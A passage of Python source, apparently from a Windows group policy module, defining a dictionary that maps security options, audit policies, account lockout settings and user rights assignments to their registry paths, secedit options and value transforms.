                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.smb_server_name_hardening_levels,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.smb_server_name_hardening_levels,
                                'value_lookup': True,
                            },
                        }
                    },
                    'FullPrivilegeAuditing': {
                        'Policy': 'Audit: Audit the use of Backup and Restore '
                                  'privilege',
                        'Settings': [chr(0), chr(1)],
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'FullPrivilegeAuditing',
                            'Type': 'REG_BINARY',
                        },
                        'Transform': {
                            'Get': '_binary_enable_zero_disable_one_conversion',
                            'Put': '_binary_enable_zero_disable_one_reverse_conversion',
                        },
                    },
                    'CrashOnAuditFail': {
                        'Policy': 'Audit: Shut down system immediately if '
                                  'unable to log security audits',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'CrashOnAuditFail',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'UndockWithoutLogon': {
                        'Policy': 'Devices: Allow undock without having to log '
                                  'on',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows\\'
                                    'CurrentVersion\\Policies\\System',
                            'Value': 'UndockWithoutLogon',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'AllocateDASD': {
                        'Policy': 'Devices: Allowed to format and eject '
                                  'removable media',
                        'Settings': ["""", ""0"", ""1"", ""2""],
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'AllocateDASD',
                            'Type': 'REG_SZ',
                        },
                        'Transform': {
                            'Get': '_dasd_conversion',
                            'Put': '_dasd_reverse_conversion',
                        },
                    },
                    'AllocateCDRoms': {
                        'Policy': 'Devices: Restrict CD-ROM access to locally '
                                  'logged-on user only',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'AllocateCDRoms',
                            'Type': 'REG_SZ',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'AllocateFloppies': {
                        'Policy': 'Devices: Restrict floppy access to locally '
                                  'logged-on user only',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Winlogon',
                            'Value': 'AllocateFloppies',
                            'Type': 'REG_SZ',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    # see KB298503 why we aren't just doing this one via the
                    # registry
                    'DriverSigningPolicy': {
                        'Policy': 'Devices: Unsigned driver installation '
                                  'behavior',
                        'Settings': ['3,0', '3,' + chr(1), '3,' + chr(2)],
                        'lgpo_section': self.security_options_gpedit_path,
                        'Secedit': {
                            'Option': 'MACHINE\\Software\\Microsoft\\Driver '
                                      'Signing\\Policy',
                            'Section': 'Registry Values',
                        },
                        'Transform': {
                            'Get': '_driver_signing_reg_conversion',
                            'Put': '_driver_signing_reg_reverse_conversion',
                        },
                    },
                    'SubmitControl': {
                        'Policy': 'Domain controller: Allow server operators '
                                  'to schedule tasks',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\Lsa',
                            'Value': 'SubmitControl',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'LDAPServerIntegrity': {
                        'Policy': 'Domain controller: LDAP server signing '
                                  'requirements',
                        'Settings': self.ldap_server_signing_requirements.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\NTDS'
                                    '\\Parameters',
                            'Value': 'LDAPServerIntegrity',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.ldap_server_signing_requirements,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.ldap_server_signing_requirements,
                                'value_lookup': True,
                            },
                        }
                    },
                    'RefusePasswordChange': {
                        'Policy': 'Domain controller: Refuse machine account '
                                  'password changes',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'SYSTEM\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'RefusePasswordChange',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'RequireSignOrSeal': {
                        'Policy': 'Domain member: Digitally encrypt or sign '
                                  'secure channel data (always)',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'RequireSignOrSeal',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'SealSecureChannel': {
                        'Policy': 'Domain member: Digitally encrypt secure '
                                  'channel data (when possible)',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'SealSecureChannel',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'SignSecureChannel': {
                        'Policy': 'Domain member: Digitally sign secure '
                                  'channel data (when possible)',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'SignSecureChannel',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'DisablePasswordChange': {
                        'Policy': 'Domain member: Disable machine account '
                                  'password changes',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'DisablePasswordChange',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'MaximumPasswordAge': {
                        'Policy': 'Domain member: Maximum machine account '
                                  'password age',
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 999}
                        },
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'MaximumPasswordAge',
                            'Type': 'REG_DWORD',
                        },
                    },
                    'RequireStrongKey': {
                        'Policy': 'Domain member: Require strong (Windows 2000 '
                                  'or later) session key',
                        'Settings': self.enabled_one_disabled_zero_strings.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Services\\'
                                    'Netlogon\\Parameters',
                            'Value': 'RequireStrongKey',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_strings_transform,
                    },
                    'LockoutDuration': {
                        'Policy': 'Account lockout duration',
                        'lgpo_section': self.account_lockout_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 6000000}
                        },
                        'NetUserModal': {
                            'Modal': 3,
                            'Option': 'lockout_duration',
                        },
                        'Transform': {
                            'Get': '_seconds_to_minutes',
                            'Put': '_minutes_to_seconds',
                        },
                    },
                    'LockoutThreshold': {
                        'Policy': 'Account lockout threshold',
                        'lgpo_section': self.account_lockout_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 1000}
                        },
                        'NetUserModal': {
                            'Modal': 3,
                            'Option': 'lockout_threshold',
                        }
                    },
                    'LockoutWindow': {
                        'Policy': 'Reset account lockout counter after',
                        'lgpo_section': self.account_lockout_policy_gpedit_path,
                        'Settings': {
                            'Function': '_in_range_inclusive',
                            'Args': {'min': 0, 'max': 6000000}
                        },
                        'NetUserModal': {
                            'Modal': 3,
                            'Option': 'lockout_observation_window',
                        },
                        'Transform': {
                            'Get': '_seconds_to_minutes',
                            'Put': '_minutes_to_seconds'
                        },
                    },
                    'AuditAccountLogon': {
                        'Policy': 'Audit account logon events',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditAccountLogon',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditAccountManage': {
                        'Policy': 'Audit account management',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditAccountManage',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditDSAccess': {
                        'Policy': 'Audit directory service access',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditDSAccess',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditLogonEvents': {
                        'Policy': 'Audit logon events',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditLogonEvents',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditObjectAccess': {
                        'Policy': 'Audit object access',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditObjectAccess',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditPolicyChange': {
                        'Policy': 'Audit policy change',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditPolicyChange',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditPrivilegeUse': {
                        'Policy': 'Audit privilege use',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditPrivilegeUse',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditProcessTracking': {
                        'Policy': 'Audit process tracking',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditProcessTracking',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'AuditSystemEvents': {
                        'Policy': 'Audit system events',
                        'lgpo_section': self.audit_policy_gpedit_path,
                        'Settings': self.audit_lookup.keys(),
                        'Secedit': {
                            'Option': 'AuditSystemEvents',
                            'Section': 'Event Audit',
                        },
                        'Transform': self.audit_transform,
                    },
                    'SeTrustedCredManAccessPrivilege': {
                        'Policy': 'Access Credential Manager as a trusted '
                                  'caller',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeTrustedCredManAccessPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeNetworkLogonRight': {
                        'Policy': 'Access this computer from the network',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeNetworkLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeTcbPrivilege': {
                        'Policy': 'Act as part of the operating system',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeTcbPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeMachineAccountPrivilege': {
                        'Policy': 'Add workstations to domain',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeMachineAccountPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeIncreaseQuotaPrivilege': {
                        'Policy': 'Adjust memory quotas for a process',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeIncreaseQuotaPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeInteractiveLogonRight': {
                        'Policy': 'Allow log on locally',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeInteractiveLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeRemoteInteractiveLogonRight': {
                        'Policy': 'Allow log on through Remote Desktop Services',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeRemoteInteractiveLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeBackupPrivilege': {
                        'Policy': 'Backup files and directories',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeBackupPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeChangeNotifyPrivilege': {
                        'Policy': 'Bypass traverse checking',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeChangeNotifyPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeSystemtimePrivilege': {
                        'Policy': 'Change the system time',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeSystemtimePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeTimeZonePrivilege': {
                        'Policy': 'Change the time zone',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeTimeZonePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeCreatePagefilePrivilege': {
                        'Policy': 'Create a pagefile',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeCreatePagefilePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeCreateTokenPrivilege': {
                        'Policy': 'Create a token object',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeCreateTokenPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeCreateGlobalPrivilege': {
                        'Policy': 'Create global objects',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeCreateGlobalPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeCreatePermanentPrivilege': {
                        'Policy': 'Create permanent shared objects',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeCreatePermanentPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeCreateSymbolicLinkPrivilege': {
                        'Policy': 'Create symbolic links',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeCreateSymbolicLinkPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeDebugPrivilege': {
                        'Policy': 'Debug programs',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeDebugPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeDenyNetworkLogonRight': {
                        'Policy': 'Deny access to this computer from the '
                                  'network',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeDenyNetworkLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeDenyBatchLogonRight': {
                        'Policy': 'Deny log on as a batch job',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeDenyBatchLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeDenyServiceLogonRight': {
                        'Policy': 'Deny log on as a service',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeDenyServiceLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeDenyInteractiveLogonRight': {
                        'Policy': 'Deny log on locally',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeDenyInteractiveLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeDenyRemoteInteractiveLogonRight': {
                        'Policy': 'Deny log on through Remote Desktop Services',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeDenyRemoteInteractiveLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeEnableDelegationPrivilege': {
                        'Policy': 'Enable computer and user accounts to be '
                                  'trusted for delegation',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeEnableDelegationPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeRemoteShutdownPrivilege': {
                        'Policy': 'Force shutdown from a remote system',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeRemoteShutdownPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeAuditPrivilege': {
                        'Policy': 'Generate security audits',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeAuditPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeImpersonatePrivilege': {
                        'Policy': 'Impersonate a client after authentication',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeImpersonatePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeIncreaseWorkingSetPrivilege': {
                        'Policy': 'Increase a process working set',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeIncreaseWorkingSetPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeIncreaseBasePriorityPrivilege': {
                        'Policy': 'Increase scheduling priority',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeIncreaseBasePriorityPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeLoadDriverPrivilege': {
                        'Policy': 'Load and unload device drivers',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeLoadDriverPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeLockMemoryPrivilege': {
                        'Policy': 'Lock pages in memory',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeLockMemoryPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeBatchLogonRight': {
                        'Policy': 'Log on as a batch job',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeBatchLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeServiceLogonRight': {
                        'Policy': 'Log on as a service',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeServiceLogonRight'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeSecurityPrivilege': {
                        'Policy': 'Manage auditing and security log',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeSecurityPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeRelabelPrivilege': {
                        'Policy': 'Modify an object label',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeRelabelPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeSystemEnvironmentPrivilege': {
                        'Policy': 'Modify firmware environment values',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeSystemEnvironmentPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeManageVolumePrivilege': {
                        'Policy': 'Perform volume maintenance tasks',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeManageVolumePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeProfileSingleProcessPrivilege': {
                        'Policy': 'Profile single process',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeProfileSingleProcessPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeSystemProfilePrivilege': {
                        'Policy': 'Profile system performance',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeSystemProfilePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeUndockPrivilege': {
                        'Policy': 'Remove computer from docking station',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeUndockPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeAssignPrimaryTokenPrivilege': {
                        'Policy': 'Replace a process level token',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeAssignPrimaryTokenPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeRestorePrivilege': {
                        'Policy': 'Restore files and directories',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeRestorePrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeShutdownPrivilege': {
                        'Policy': 'Shut down the system',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeShutdownPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeSyncAgentPrivilege': {
                        'Policy': 'Synchronize directory service data',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeSyncAgentPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'SeTakeOwnershipPrivilege': {
                        'Policy': 'Take ownership of files or other objects',
                        'lgpo_section': self.user_rights_assignment_gpedit_path,
                        'Settings': None,
                        'LsaRights': {
                            'Option': 'SeTakeOwnershipPrivilege'
                        },
                        'Transform': {
                            'Get': '_sidConversion',
                            'Put': '_usernamesToSidObjects',
                        },
                    },
                    'RecoveryConsoleSecurityLevel': {
                        'Policy': 'Recovery console: Allow automatic '
                                  'administrative logon',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Setup\\RecoveryConsole',
                            'Value': 'SecurityLevel',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'RecoveryConsoleSetCommand': {
                        'Policy': 'Recovery console: Allow floppy copy and '
                                  'access to all drives and all folders',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Microsoft\\Windows NT\\'
                                    'CurrentVersion\\Setup\\RecoveryConsole',
                            'Value': 'SetCommand',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'ForceKeyProtection': {
                        'Policy': 'System Cryptography: Force strong key protection for '
                                  'user keys stored on the computer',
                        'Settings': self.force_key_protection.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'Software\\Policies\\Microsoft\\Cryptography',
                            'Value': 'ForceKeyProtection',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': {
                            'Get': '_dict_lookup',
                            'Put': '_dict_lookup',
                            'GetArgs': {
                                'lookup': self.force_key_protection,
                                'value_lookup': False,
                            },
                            'PutArgs': {
                                'lookup': self.force_key_protection,
                                'value_lookup': True,
                            },
                        },
                    },
                    'FIPSAlgorithmPolicy': {
                        'Policy': 'System Cryptography: Use FIPS compliant algorithms '
                                  'for encryption, hashing, and signing',
                        'Settings': self.enabled_one_disabled_zero.keys(),
                        'lgpo_section': self.security_options_gpedit_path,
                        'Registry': {
                            'Hive': 'HKEY_LOCAL_MACHINE',
                            'Path': 'System\\CurrentControlSet\\Control\\Lsa\\FIPSAlgorithmPolicy',
                            'Value': 'Enabled',
                            'Type': 'REG_DWORD',
                        },
                        'Transform': self.enabled_one_disabled_zero_transform,
                    },
                    'MachineAccessRestriction': {
                        'Policy': 'DCOM: Machine Access Restrictions in Security Descriptor '
                                  'Definition Language (SDDL) syntax',
                        'Settings': None,
                        'lgpo_section': self.security_options_gpedit_path,
